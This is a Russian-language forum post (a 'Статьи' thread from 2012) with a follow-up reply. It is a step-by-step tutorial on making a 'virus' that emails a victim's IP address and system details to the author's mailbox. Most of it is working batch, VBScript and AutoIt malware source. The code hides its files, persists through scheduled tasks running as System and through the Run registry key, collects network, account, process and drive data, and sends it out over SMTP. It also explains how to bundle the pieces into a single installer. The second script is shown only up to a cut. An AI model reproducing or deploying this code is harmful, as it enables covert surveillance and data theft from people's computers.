Ip Адрес На Почту

Тема в разделе "Статьи", создана пользователем SeOqsss, 11 фев 2012.

  1. SeOqsss
    SeOqsss Новичок
    Симпатии:
    2
    В этой статье будет описываться несколько способов как можно сделать вирус который будет отправлять Ip адрес при каждом запуске системы Windows,или через определённое время.
    Начнём с простого батинка,создаём текстовый документ (txt),открываем и пишем туда следующие:
    Код:
    @echo off
    blat.exe -install -server smtp.yandex.ru -port 587 -f логин@yandex.ru -u логин -pw пароль
    ipconfig /all > ip.txt
    blat.exe ip.txt -to логин@yandex.ru
    del /s /q ip.txt
    exit
    cls
    Вносим свои данные,сохраняем как ips.bat,компилируем в exe при помощи Bat to exe converter и создаём ещё один текстовый документ (txt),открываем и пишем в него следующие:
    Код:
    @echo off
    attrib +a +s +r +h %systemroot%\miwich
    schtasks /tr %systemroot%\miwich\ips.exe /ru "System" /sc hourly /mo 5 /tn Windk /f
    start %systemroot%\miwich\ips.exe
    exit
    cls
    Сохраняем как slide.bat и компилируем в exe
    Далее берём компоненты программы Blat,можете скачать с офф сайта http://www.blat.net/ или с нашего сервера (правда в архиве будет один лишний файл от архиватора rar.exe),собираем всё файлы в кучу,а именно:
    Компоненты Blat: blat.exe,blat.dll,blat.lib.
    Батинки компилированные в exe: ips.exe и slide.exe
    И склеиваем в один исполянемый файл,при помощи Smart Install Maker на выполнение ставим slide.exe,путь выгрузки всех файлов назначаем %WindowsDir%\miwich\
    Всё вирус готов,он будет отсылать IP адрес и дургую информацию которую даёт команда ipconfig на почту,каждые 5 часов.
    Правда данная команда не всегда показывает истинный IP адрес и за чистую по адресу пришедшему с такого батинка не подконектишься,так что это далеко не айс.
    Рассмотрим ещё один способ,тоже через бат только вперемешку с vbs скриптом.
    И так открываем блокнот и пишем туда следующий код:
    Код:
    On Error Resume Next
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    Set IPConfigSet = objWMIService.ExecQuery _
        ("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE")
    For Each IPConfig in IPConfigSet
        If Not IsNull(IPConfig.IPAddress) Then
            For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress)
            ipaddr = ipaddr + " " + IPConfig.IPAddress(i)
     
            Next
        End If
    Next
    Dim Shell
    set Shell = WScript.CreateObject ("WSCript.shell")
    Shell.run("SendMail /smtpserver smtp.yandex.ru /to логин-кому@yandex.ru /from логин от куда@yandex.ru /subject Message subject /body" + ipaddr + "/user логин /password пароль")
    Вбиваем свои данные от почтового ящика и сохраняем как sdg.vbs,далее опять открываем блокнот и пишем маленький батинок:
    Код:
    @echo off
    schtasks /tr %systemroot%\miwich\sdg.vbs /ru "System" /sc hourly /mo 5 /tn Windk /f  >nul
    attrib +s +h +r %systemroot%\miwich  >nul
    start sdg.vbs  >nul
    del "%0" >nul
    cls
    сохраняем под любым именем и с расширением bat, склеиваем sdg.vbs,(ваш батинок,допустим 1.bat) с sendMail.exe(скачать) при помощи Smart Install Maker,на выполнение ставим 1.bat,путь выгрузки %WindowsDir%\miwich\,все через каждые пять часов,вирус будет отсылать два Ip адреса,один внутренний,второй настоящий.

    Расмотрим пример написания скрипта с отсылкой ip адреса на почту,по средствам простого скриптового языка AutoIt.
    Собственно в нём нету ни чего сложного,скрипт узнаёт IP адрес,проверяет наличие интернета и если такое есть то отправляет его на почтовый ящик указанный в скрипте(где что указывать я написал),так же добавляет себя в автозагрузку и прячет сам себя.

    Код:
    #include <File.au3>
    #include <Inet.au3>
    #include <Process.au3>
     
    #NoTrayIcon
    ;Заполнить
    $sFile = "IP.txt"
    $SmtpServer = "smtp.yandex.ru"              ; адрес SMTP сервера
    $FromName = "IP-(от кого)"                    ;  пишем имя,любое
    $FromAddress = "логин@yandex.ru" ; адрес отправителя
    $ToAddress = "логин@yandex.ru"  ; адрес получателя
    $Subject = "внешний IP"                  ; тема письма
    $AttachFiles = $sFile
    $sText=_GetIP()
    $CcAddress = ""
    $BccAddress = ""
    $Importance = "Normal"                  ; приоритет отсылки письма,другие варианты: "High", "Normal", "Low"
    $Username = "логин@yandex.ru"                    ; имя отправителя
    $Password = "пароль"                  ; пас отпрвителя
    $IPPort = 587                            ; порт можно 25,ну и так норм отправляет
    $ssl = 0
    ;~ $IPPort=465; GMAIL порт
    $sArgument = '/320' ;задержка перед началом работы в 320 секунд
    FileSetAttrib ( @ScriptName, "+S+H")
     
    If $CmdLine[0] Then
        $iTimer = StringRegExpReplace($CmdLine[1], '[^0-9]', '') * 1000
        $iStart = TimerInit()
        While TimerDiff($iStart) <= $iTimer
            Sleep(250)
        WEnd
    EndIf
    Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
        Local $objEmail = ObjCreate("CDO.Message")
        $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
        $objEmail.To = $s_ToAddress
        Local $i_Error = 0
        Local $i_Error_desciption = ""
        If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
        If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
        $objEmail.Subject = $s_Subject
        If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
            $objEmail.HTMLBody = $as_Body
        Else
            $objEmail.Textbody = $as_Body & @CRLF
        EndIf
        If $s_AttachFiles <> "" Then
            Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
            For $x = 1 To $S_Files2Attach[0]
                $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
    ;~          ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
                If FileExists($S_Files2Attach[$x]) Then
                    ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
                    $objEmail.AddAttachment($S_Files2Attach[$x])
                Else
                    ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                    SetError(1)
                    Return 0
                EndIf
            Next
        EndIf
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
        If Number($IPPort) = 0 then $IPPort = 25
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
        ;Authenticated SMTP
        If $s_Username <> "" Then
            $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
            $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
            $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
        EndIf
        If $ssl Then
            $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
        EndIf
        ;Update settings
        $objEmail.Configuration.Fields.Update
        ; Set Email Importance
        Switch $s_Importance
            Case "High"
                $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
            Case "Normal"
                $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
            Case "Low"
                $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
        EndSwitch
        $objEmail.Fields.Update
        ; Sent the Message
        $objEmail.Send
        If @error Then
            SetError(2)
            Return $oMyRet[1]
        EndIf
        $objEmail=""
    EndFunc
    _RegRun($sArgument)
    $i =0
    While $i <= 1
    $var = Ping("www.google.com",250)
    If @error = 0 Then
    $AttachFiles = @ScriptDir & "\IP.txt"
    _RunDOS("ipconfig /all >>IP.txt")
    _FileWriteLog($AttachFiles, $sText)
     
    Sleep(1000)
    _INetSmtpMailCom($SmtpServer,$FromName,$FromAddress,$ToAddress,$Subject,$sText,$AttachFiles,$CcAddress,$BccAddress,$Importance,$Username,$Password,$IPPort,$ssl)
    sleep(1000)
    FileDelete("IP.txt")
    Sleep(1000*60*60)                ; вот здесь ставим время в миллисекундах отправки IP и скрина ( в данном скрипте каждую 60 минут,то есть последние цифры отвечают за минуты. )
    EndIf
    WEnd
    Func _RegRun($s_Argument)
        Local $sRegRun = 'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
        If Not RegRead($sRegRun, @ScriptName) Or RegRead($sRegRun, @ScriptName) <> @ScriptFullPath & ' ' & $s_Argument Then
            RegWrite($sRegRun, @ScriptName, 'REG_SZ', @ScriptFullPath & ' ' & $s_Argument)
        EndIf
    EndFunc
    exit
    Этот скрипт компилируется в EXE при помощи компилятора AutoIt,в принципе разберётесь,там ни чего сложного нету.
    Компилятор можно скачать на офф сайте http://www.autoitscript.com/


    ©SwAp TheHackWorld.in
     
    11 фев 2012
  2. SeOqsss
    SeOqsss Новичок
    Симпатии:
    2
    Всё не поместилось,это как дополнение.
    Небольшая модитификация скрипта Autoit для отправки Ip на почту,честно ещё не тестил,но по идеи ошибок быть не должно.
    Код:
    #NoTrayIcon
    #include <file.au3>
    #include <inet.au3>
    #include <process.au3>
    #Include<Array.au3>
     
    filesetattrib ( @scriptname, "+s+h") ; ставим на себя атрибуты
    $smtpserver = "smtp.server.com"              ; адрес smtp сервера
    $fromname = @ComputerName
    $fromaddress = "e-mail@server.com" ; адрес отправителя
    $toaddress = "e-mail@server.net"  ; адрес получателя,можно смело указывать другой почтовый ящик.
    $subject = "Отчёт от "&@UserName&"."      ; тема письма,@UserName будет указывать имя пользователя под которым был запущен вирус
    $attachfiles = ''
    $ccaddress = ""
    $bccaddress = ""
    $importance = "normal"          ; приоритет отсылки письма,другие варианты: "high", "normal", "low"
    $username = "e-mail@server.com" ; имя отправителя
    $password = "Password"  ; пас отпрвителя
    $ipport = 587          ; порт можно 25,ну и так норм отправляет,для почтовой службы gmail необходимо сменить порт на 465 ($ipport=465)
    $ssl = 0
    $log = @WindowsDir & "\swnc\"&@UserName&"-log.sft"; это своего рода временный файл,который будет создаваться в отдельной папке,так сказать от греха подальше))
    $lang = @OSLang ; команда выводящия свое образный код языка системы
     
    Global $alang_Codes[127] ; массив для замены кода на нормальный буквенный понятный вид языка системы
    $alang_Codes[0]=126 ;указываем количество ячеек
    $alang_Codes[1]="Afrikaans" ;и перечисляем их
    $alang_Codes[2]="Albanian"
    $alang_Codes[3]="Arabic_Saudi_Arabia"
    $alang_Codes[4]="Arabic_Iraq"
    $alang_Codes[5]="Arabic_Egypt"
    $alang_Codes[6]="Arabic_Libya"
    $alang_Codes[7]="Arabic_Algeria"
    $alang_Codes[8]="Arabic_Morocco"
    $alang_Codes[9]="Arabic_Tunisia"
    $alang_Codes[10]="Arabic_Oman"
    $alang_Codes[11]="Arabic_Yemen"
    $alang_Codes[12]="Arabic_Syria"
    $alang_Codes[13]="Arabic_Jordan"
    $alang_Codes[14]="Arabic_Lebanon"
    $alang_Codes[15]="Arabic_Kuwait"
    $alang_Codes[16]="Arabic_UAE"
    $alang_Codes[17]="Arabic_Bahrain"
    $alang_Codes[18]="Arabic_Qatar"
    $alang_Codes[19]="Armenian"
    $alang_Codes[20]="Azeri_Latin"
    $alang_Codes[21]="Azeri_Cyrillic"
    $alang_Codes[22]="Basque"
    $alang_Codes[23]="Belarusian"
    $alang_Codes[24]="Bulgarian"
    $alang_Codes[25]="Catalan"
    $alang_Codes[26]="Chinese_Taiwan"
    $alang_Codes[27]="Chinese_PRC"
    $alang_Codes[28]="Chinese_Hong_Kong"
    $alang_Codes[29]="Chinese_Singapore"
    $alang_Codes[30]="Chinese_Macau"
    $alang_Codes[31]="Croatian"
    $alang_Codes[32]="Czech"
    $alang_Codes[33]="Danish"
    $alang_Codes[34]="Dutch_Standard"
    $alang_Codes[35]="Dutch_Belgian"
    $alang_Codes[36]="English_United_States"
    $alang_Codes[37]="English_United_Kingdom"
    $alang_Codes[38]="English_Australian"
    $alang_Codes[39]="English_Canadian"
    $alang_Codes[40]="English_New_Zealand"
    $alang_Codes[41]="English_Irish"
    $alang_Codes[42]="English_South_Africa"
    $alang_Codes[43]="English_Jamaica"
    $alang_Codes[44]="English_Caribbean"
    $alang_Codes[45]="English_Belize"
    $alang_Codes[46]="English_Trinidad"
    $alang_Codes[47]="English_Zimbabwe"
    $alang_Codes[48]="English_Philippines"
    $alang_Codes[49]="Estonian"
    $alang_Codes[50]="Faeroese"
    $alang_Codes[51]="Farsi"
    $alang_Codes[52]="Finnish"
    $alang_Codes[53]="French_Standard"
    $alang_Codes[54]="French_Belgian"
    $alang_Codes[55]="French_Canadian"
    $alang_Codes[56]="French_Swiss"
    $alang_Codes[57]="French_Luxembourg"
    $alang_Codes[58]="French_Monaco"
    $alang_Codes[59]="Georgian"
    $alang_Codes[60]="German_Standard"
    $alang_Codes[61]="German_Swiss"
    $alang_Codes[62]="German_Austrian"
    $alang_Codes[63]="German_Luxembourg"
    $alang_Codes[64]="German_Liechtenstei"
    $alang_Codes[65]="Greek"
    $alang_Codes[66]="Hebrew"
    $alang_Codes[67]="Hindi"
    $alang_Codes[68]="Hungarian"
    $alang_Codes[69]="Icelandic"
    $alang_Codes[70]="Indonesian"
    $alang_Codes[71]="Italian_Standard"
    $alang_Codes[72]="Italian_Swiss"
    $alang_Codes[73]="Japanese"
    $alang_Codes[74]="Kazakh"
    $alang_Codes[75]="Konkani"
    $alang_Codes[76]="Korean"
    $alang_Codes[77]="Latvian"
    $alang_Codes[78]="Lithuanian"
    $alang_Codes[79]="Macedonian"
    $alang_Codes[80]="Malay_Malaysia"
    $alang_Codes[81]="Malay_Brunei_Darussalam"
    $alang_Codes[82]="Marathi"
    $alang_Codes[83]="Norwegian_Bokmal"
    $alang_Codes[84]="Norwegian_Nynorsk"
    $alang_Codes[85]="Polish"
    $alang_Codes[86]="Portuguese_Brazilian"
    $alang_Codes[87]="Portuguese_Standard"
    $alang_Codes[88]="Romanian"
    $alang_Codes[89]="Russian"
    $alang_Codes[90]="Sanskrit"
    $alang_Codes[91]="Serbian_Latin"
    $alang_Codes[92]="Serbian_Cyrillic"
    $alang_Codes[93]="Slovak"
    $alang_Codes[94]="Slovenian"
    $alang_Codes[95]="Spanish_Traditional_Sort"
    $alang_Codes[96]="Spanish_Mexican"
    $alang_Codes[97]="Spanish_Modern_Sort"
    $alang_Codes[98]="Spanish_Guatemala"
    $alang_Codes[99]="Spanish_Costa_Rica"
    $alang_Codes[100]="Spanish_Panama"
    $alang_Codes[101]="Spanish_Dominican_Republic"
    $alang_Codes[102]="Spanish_Venezuela"
    $alang_Codes[103]="Spanish_Colombia"
    $alang_Codes[104]="Spanish_Peru"
    $alang_Codes[105]="Spanish_Argentina"
    $alang_Codes[106]="Spanish_Ecuador"
    $alang_Codes[107]="Spanish_Chile"
    $alang_Codes[108]="Spanish_Uruguay"
    $alang_Codes[109]="Spanish_Paraguay"
    $alang_Codes[110]="Spanish_Bolivia"
    $alang_Codes[111]="Spanish_El_Salvador"
    $alang_Codes[112]="Spanish_Honduras"
    $alang_Codes[113]="Spanish_Nicaragua"
    $alang_Codes[114]="Spanish_Puerto_Rico"
    $alang_Codes[115]="Swahili"
    $alang_Codes[116]="Swedish"
    $alang_Codes[117]="Swedish_Finland"
    $alang_Codes[118]="Tamil"
    $alang_Codes[119]="Tatar"
    $alang_Codes[120]="Thai"
    $alang_Codes[121]="Turkish"
    $alang_Codes[122]="Ukrainian"
    $alang_Codes[123]="Urdu"
    $alang_Codes[124]="Uzbek_Latin"
    $alang_Codes[125]="Uzbek_Cyrillic"
    $alang_Codes[126]="Vietnamese"
     
    global $aCapture_Codes[127] ;  в этом массиве находятся коды которые выводит команда @OSLang,а в пред идущем массиве находятся названия языков\стран уже в буквенном виде,так сказать расшифрованные,точно в таком же порядке.
    $aCapture_Codes[0]='126'
    $aCapture_Codes[1]='0436'
    $aCapture_Codes[2]='041c'
    $aCapture_Codes[3]='0401'
    $aCapture_Codes[4]='0801'
    $aCapture_Codes[5]='0c01'
    $aCapture_Codes[6]='1001'
    $aCapture_Codes[7]='1401'
    $aCapture_Codes[8]='1801'
    $aCapture_Codes[9]='1c01'
    $aCapture_Codes[10]='2001'
    $aCapture_Codes[11]='2401'
    $aCapture_Codes[12]='2801'
    $aCapture_Codes[13]='2c01'
    $aCapture_Codes[14]='3001'
    $aCapture_Codes[15]='3401'
    $aCapture_Codes[16]='3801'
    $aCapture_Codes[17]='3c01'
    $aCapture_Codes[18]='4001'
    $aCapture_Codes[19]='042b'
    $aCapture_Codes[20]='042c'
    $aCapture_Codes[21]='082c'
    $aCapture_Codes[22]='042d'
    $aCapture_Codes[23]='0423'
    $aCapture_Codes[24]='0402'
    $aCapture_Codes[25]='0403'
    $aCapture_Codes[26]='0404'
    $aCapture_Codes[27]='0804'
    $aCapture_Codes[28]='0c04'
    $aCapture_Codes[29]='1004'
    $aCapture_Codes[30]='1404'
    $aCapture_Codes[31]='041a'
    $aCapture_Codes[32]='0405'
    $aCapture_Codes[33]='0406'
    $aCapture_Codes[34]='0413'
    $aCapture_Codes[35]='0813'
    $aCapture_Codes[36]='0409'
    $aCapture_Codes[37]='0809'
    $aCapture_Codes[38]='0c09'
    $aCapture_Codes[39]='1009'
    $aCapture_Codes[40]='1409'
    $aCapture_Codes[41]='1809'
    $aCapture_Codes[42]='1c09'
    $aCapture_Codes[43]='2009'
    $aCapture_Codes[44]='2409'
    $aCapture_Codes[45]='2809'
    $aCapture_Codes[46]='2c09'
    $aCapture_Codes[47]='3009'
    $aCapture_Codes[48]='3409'
    $aCapture_Codes[49]='0425'
    $aCapture_Codes[50]='0438'
    $aCapture_Codes[51]='0429'
    $aCapture_Codes[52]='040b'
    $aCapture_Codes[53]='040c'
    $aCapture_Codes[54]='080c'
    $aCapture_Codes[55]='0c0c'
    $aCapture_Codes[56]='100c'
    $aCapture_Codes[57]='140c'
    $aCapture_Codes[58]='180c'
    $aCapture_Codes[59]='0437'
    $aCapture_Codes[60]='0407'
    $aCapture_Codes[61]='0807'
    $aCapture_Codes[62]='0c07'
    $aCapture_Codes[63]='1007'
    $aCapture_Codes[64]='1407'
    $aCapture_Codes[65]='408'
    $aCapture_Codes[66]='040d'
    $aCapture_Codes[67]='0439'
    $aCapture_Codes[68]='040e'
    $aCapture_Codes[69]='040f'
    $aCapture_Codes[70]='0421'
    $aCapture_Codes[71]='0410'
    $aCapture_Codes[72]='0810'
    $aCapture_Codes[73]='0411'
    $aCapture_Codes[74]='043f'
    $aCapture_Codes[75]='0457'
    $aCapture_Codes[76]='0412'
    $aCapture_Codes[77]='0426'
    $aCapture_Codes[78]='0427'
    $aCapture_Codes[79]='042f'
    $aCapture_Codes[80]='043e'
    $aCapture_Codes[81]='083e'
    $aCapture_Codes[82]='044e'
    $aCapture_Codes[83]='0414'
    $aCapture_Codes[84]='0814'
    $aCapture_Codes[85]='0415'
    $aCapture_Codes[86]='0416'
    $aCapture_Codes[87]='0816'
    $aCapture_Codes[88]='0418'
    $aCapture_Codes[89]='0419'
    $aCapture_Codes[90]='044f'
    $aCapture_Codes[91]='081a'
    $aCapture_Codes[92]='0c1a'
    $aCapture_Codes[93]='041b'
    $aCapture_Codes[94]='0424'
    $aCapture_Codes[95]='040a'
    $aCapture_Codes[96]='080a'
    $aCapture_Codes[97]='0c0a'
    $aCapture_Codes[98]='100a'
    $aCapture_Codes[99]='140a'
    $aCapture_Codes[100]='180a'
    $aCapture_Codes[101]='1c0a'
    $aCapture_Codes[102]='200a'
    $aCapture_Codes[103]='240a'
    $aCapture_Codes[104]='280a'
    $aCapture_Codes[105]='2c0a'
    $aCapture_Codes[106]='300a'
    $aCapture_Codes[107]='340a'
    $aCapture_Codes[108]='380a'
    $aCapture_Codes[109]='3c0a'
    $aCapture_Codes[110]='400a'
    $aCapture_Codes[111]='440a'
    $aCapture_Codes[112]='480a'
    $aCapture_Codes[113]='4c0a'
    $aCapture_Codes[114]='500a'
    $aCapture_Codes[115]='0441'
    $aCapture_Codes[116]='041d'
    $aCapture_Codes[117]='081d'
    $aCapture_Codes[118]='0449'
    $aCapture_Codes[119]='0444'
    $aCapture_Codes[120]='041e'
    $aCapture_Codes[121]='041f'
    $aCapture_Codes[122]='0422'
    $aCapture_Codes[123]='0420'
    $aCapture_Codes[124]='0443'
    $aCapture_Codes[125]='0843'
    $aCapture_Codes[126]='042a'
     
    $Pos = _ArraySearch ($aCapture_Codes, $lang) ;ищем по масиву с кодами определённый командой @OSLang код и записываем его позицую в код,после тупа подставим позицию во второй массив.
     
    Dim $strComputer = ".", $string, $strIPAddress, $IPAddress, $IPSubnet, $strIPSubnet, $DefaultIPGateway, $strDefaultIPGateway ;используем Win32_NetworkAdapterConfiguration для вытягивание некоротой инфы из компа
     
    $objWMIService = ObjGet("winmgmts:{impersonationLevel=impersonate}!\\" & $strComputer & "\root\cimv2")
    $colItems = $objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration")
     
    For $objItem In $colItems
        $string &= @LF
        $string &= "<BR><font color=teal style=font-size:17px>Caption:</font>  " & $objItem.Caption & @LF
        $string &= "<BR><font color=teal style=font-size:17px>Description:</font>  " & $objItem.Description & @LF
     
        If UBound($objItem.IPAddress) > 0 Then
            For $IPAddress In $objItem.IPAddress
                $strIPAddress &= $IPAddress & "; "
            Next
            $string &= "<BR><font color=teal style=font-size:17px>IPAddress:</font>  " & StringTrimRight($strIPAddress, 2) & @LF
        EndIf
     
        If UBound($objItem.IPSubnet) > 0 Then
            For $IPSubnet In $objItem.IPSubnet
                $strIPSubnet &= $IPSubnet & "; "
            Next
            $string &= "<BR><font color=teal style=font-size:17px>IPSubnet:</font>  " & StringTrimRight($strIPSubnet, 2) & @LF
        EndIf
     
        If UBound($objItem.DefaultIPGateway) > 0 Then
            For $DefaultIPGateway In $objItem.DefaultIPGateway
                $strDefaultIPGateway &= $DefaultIPGateway & "; "
            Next
            $string &= "<BR><font color=teal style=font-size:17px>DefaultIPGateway:</font>  " & StringTrimRight($strDefaultIPGateway, 2) & @LF
        EndIf
     
        $string &= "<BR><font color=teal style=font-size:17px>DNSDomain:</font>  " & $objItem.DNSDomain & @LF
        $string &= "<BR><font color=teal style=font-size:17px>DNSHostName:</font>  " & $objItem.DNSHostName & @LF
        $string &= "<BR><font color=teal style=font-size:17px>MACAddress:</font>  " & $objItem.MACAddress & @LF
    Next
     
    Dim $stComputer = ".", $stri ; практически таким же макаром вытяним локальную информацию о тачке на которой находится наш кейлогер
     
    $objWMIService = ObjGet("winmgmts:{impersonationLevel=impersonate}!\\" & $stComputer & "\root\cimv2")
    $colItems = $objWMIService.ExecQuery("Select * from Win32_UserAccount")
     
    For $objItem In $colItems
        $stri &= "<BR><font color=teal style=font-size:17px>Caption -</font> " & $objItem.Caption & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>Account Type -</font> " & $objItem.AccountType & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>Disabled - </font>" & $objItem.Disabled & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>Domain - </font>" & $objItem.Domain & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>Full Name - </font>" & $objItem.FullName & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>Install Date -</font> " & $objItem.InstallDate & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>Local Account - </font>" & $objItem.LocalAccount & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>Lockout -</font> " & $objItem.Lockout & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>Name -</font> " & $objItem.Name & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>Password Changeable - </font>" & $objItem.PasswordChangeable & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>Password Expires -</font> " & $objItem.PasswordExpires & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>Password Required -</font> " & $objItem.PasswordRequired & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>SID -</font> " & $objItem.SID & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>SID Type -</font> " & $objItem.SIDType & @LF
        $stri &= "<BR><font color=teal style=font-size:17px>Status -</font> " & $objItem.Status
    Next
     
    FileOpen($log, 2);открываем файл лога для записи и начинаем писать
    Sleep(100)
    FileWrite($log, '<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251">') ; ну эт тип для того чтобы в письме не отображались краказябры,а все приходило в понятном для человеческого глаза виде,тупа HTML теги и команды,их расписывать не буду
    ; ибо это уже перебор.
    FileWrite($log, '<body background="http://i5.pixs.ru/storage/1/4/1/matricabel_9581274_3013141.gif" bgcolor=#000000 text=green>')
      FileWrite($log, "<b><center><font color=crimson>[#[</font><font color=indigo style=font-size:19px>Данные о тачке на котрой запущен :</font> <font color=crimson>]#]</font> </center></b><br>")
      FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Внутрений IP Адрес:</b> </font><font color=teal style=font-size:17px>"& @IPAddress1&" </font><br>") ; пишем внутрений ip адрес тачки, может вернуть 127.0.0.1
      FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Возвращает IP адрес 2 сетевого адаптера(при отсутствие вернёт 0.0.0.0):</font> </b><font color=teal style=font-size:17px>"& @IPAddress2&" </font><br>"); ну аналогично только возращает IP второго сетевого
      FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Возвращает IP адрес 3 сетевого адаптера(при отсутствие вернёт 0.0.0.0):</font> </b><font color=teal style=font-size:17px>"& @IPAddress3&" </font><br>"); и так далее до 4 сетевых адаптеров
      FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Возвращает IP адрес 4 сетевого адаптера(при отсутствие вернёт 0.0.0.0):</font> </b><font color=teal style=font-size:17px>"& @IPAddress4&" </font><br>");
      FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Имя Пользователя:</b> </font><font color=teal style=font-size:17px>" & @UserName &" </font><br>") ; вписываем имя текущего пользователя под которым запущен кейлогер
      FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Сетевое имя компьютера:</font> </b><font color=teal style=font-size:17px>"& @ComputerName&" </font><br>") ; имя компьютера
    FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Тип оперативной системы:</font> </b><font color=teal style=font-size:17px>"& @OSType &" </font><br>") ; тип установленной ОС под которой запущен кейлогер
    FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Версия оперативной системы:</font> </b><font color=teal style=font-size:17px>"& @OSVersion &" </font><br>") ; версия ОС
    FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Язык оперативной системы:</font> </b><font color=teal style=font-size:17px>"& $alang_Codes[$Pos] &" </font><br>") ; вписываем язык системы по умолчанию
    FileWrite($log, "<b><center><font color=crimson>[#[</font><font color=indigo style=font-size:19px> Информация полученная при помощи Win32_NetworkAdapterConfiguration:</font> <font color=crimson>]#]</font> </center></b><br>")
    FileWrite($log, $string) ; пишем инфу вытянутую при помощи Win32_NetworkAdapterConfiguration
      FileWrite($log, "<b><center><font color=crimson>[#[</font><font color=indigo style=font-size:19px> Локальная информация ОС:</font> <font color=crimson>]#]</font> </center></b><br>")
    FileWrite($log, $stri) ; пишем локальную информацию
    FileWrite($log, "<b><center><font color=crimson>[#[</font><font color=indigo style=font-size:19px> Список запущенных процессов:</font> <font color=crimson>]#]</font> </center></b><br>")
    $list = ProcessList() ; далее определяем список запущенных в данный момент процессов
    for $i = 1 to $list[0][0]
      FileWrite($log," <font color=teal style=font-size:17px> Name process: </font>"& $list[$i][0] & "<br>") ; и пишем его,каждый процесс с новой строки
    next
    FileWrite($log, "<b><center><font color=crimson>[#[</font><font color=indigo style=font-size:19px> Количество и имена дисков на тачке:</font> <font color=crimson>]#]</font> </center></b><br>")
     
    $var = DriveGetDrive( "all" ) ; определяем общее количество дисков
    If NOT @error Then
        FileWrite($log,"<font color=teal style=font-size:17px>Всего " & $var[0] & " диск(а\ов)</font><br>") ; пишем коичество всех дисков
        For $i = 1 to $var[0]
            FileWrite($log,"<font color=teal style=font-size:17px> " & $var[$i]& ",</font>") ; выводим каждый диск через запятую по имени
        Next
    EndIf
     
    $var2 = DriveGetDrive( "CDROM" ) ; определяем какие из них CD rom'ы
    If NOT @error Then
        FileWrite($log,"<br><font color=teal style=font-size:17px>Из них " & $var2[0] & " CDROM(а) </font><br>") ; пишем количество CD rom'ов и есть ли они вообще
        For $i = 1 to $var2[0]
            FileWrite($log,"<font color=teal style=font-size:17px> " & $var2[$i]& ",</font>") ; перечисляем их по именам
        Next
    EndIf
     
    $var3 = DriveGetDrive( "REMOVABLE" ) ; определяем есть ли переносные диски
    If NOT @error Then
        FileWrite($log,"<br><font color=teal style=font-size:17px> Ещё " & $var3[0] & " предположительно являются Flash либо просто переносные </font><br>"); пишем сколько их если они есть вообще
        For $i = 1 to $var3[0]
            FileWrite($log,"<font color=teal style=font-size:17px> " & $var3[$i]& ",</font>") ; перечисляем их по именам
        Next
    EndIf
     
    $var4 = DriveGetDrive( "FIXED" ) ; определяем какие из них фиксированные
    If NOT @error Then
        FileWrite($log,"<br><font color=teal style=font-size:17px> Ещё " & $var4[0] & " фиксированные(й)</font><br>") ; пишем количества
        For $i = 1 to $var4[0]
            FileWrite($log,"<font color=teal style=font-size:17px> " & $var4[$i]& ",</font>") ; перечисляем их по именам
        Next
    EndIf
     
    $var5 = DriveGetDrive( "NETWORK" ) ; определяем есть ли сетевые диски
    If NOT @error Then
        FileWrite($log,"<br><font color=teal style=font-size:17px> Ещё " & $var5[0] & " сетевой(ых)</font><br>") ; если есть пишем количество
        For $i = 1 to $var5[0]
